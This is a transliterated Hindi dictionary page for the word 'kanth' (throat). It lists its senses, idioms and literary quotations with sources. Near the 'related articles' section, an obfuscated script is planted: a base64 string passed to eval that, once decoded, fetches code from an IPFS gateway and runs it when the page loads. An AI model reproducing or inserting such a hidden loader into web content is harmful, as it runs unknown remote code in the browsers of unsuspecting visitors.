कंठ

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search

kanth - sanjna pulliang (sanskrit kanth) (visheshan kanthy)[1]

1. gala. teantua.

udaharan-

meli kanth suman ki mala. - manas[2]


yaugik - kanthamala.

muhavara- 'kanth sookhana' = pyas se gala sookhana.

2. gale ki ve naliyaan jinase bhojan niche utarata hai aur avaj nikalati hai. ghaanti.


yaugik - kanthasth. kanthagr.

muhavara- 'kanth karana' ya 'rakhana' = kanthasth karana ya rakhana. jabani yad karana ya rakhana.

kanth khulana = (1.) ruandhe hue gale ka saph hona.
(2.) avaj nikalana.

kanth phootana = (1.) varnoan ke spasht uchcharan ka praranbh hona. avaj khulana. bachchoan ki avaj saph hona. (2.) bakari phootana. bakkur nikalana. muanh se shabd nikalana. (3.) ghaanti phootana. yuvavastha aranbh hone par avaj ka badalana.

kanth baithana ya gala baithana = avaj ka besura ho jana. avaj ka bhari hona.

kanth hona = kanthagr hona. jabani yad hona. jaise- unako yah sari pustak kanth hai.

3. svar. avaj. shabd. jaise- usaka kanth b da komal hai.

udaharan-
ati ujvala sab kalahu base. shuk keki pikadik kanthahu lasai. - keshav[3]

4. vah lal nili adi kee rangoan ki lakir jo suggoan, panduk adi pakshiyoan ke gale ke charoan or javani mean p d jati hai. hansali. kantha.

udaharan-
(k) rate shyam kanth dui givaan. tehi duee phand daro sath jivaan. - jayasi[4]

muhavara- 'kanth phootana' = tote adi pakshiyoan ke gale mean rangin rekhaean p dana. hansali p dana ya phootana.

udaharan- hiraman hian tehik pareva. kantha phoot karat tehi seva. - jayasi[5]

5. kinara. tat. tir. kaantha. jaise- vah gaanv nadi ke kanth par basa hai.

6. adhikar mean. pas.

udaharan- jin kanthan shurasaann. - prithviraj raso[6]

7. mainaphal ka pe d. madan vriksh.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. hiandi shabdasagar, dvitiy bhag |lekhak: shyamasuandaradas bi. e. |prakashak: nagari mudran, varanasi |prishth sankhya: 721 |
  2. ramacharitamanas, 4.8, sampadak shanbhoonarayan chaube, nagari pracharini sabha, kashi, pratham sanskaran
  3. keshavadas
  4. malik muhammad jayasi
  5. malik muhammad jayasi
  6. prithviraj raso, khand 5, sampadak mohanalal vishnulal pandya, shyamasuandaradas, nagari pracharini sabha, kashi, pratham sanskaran

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah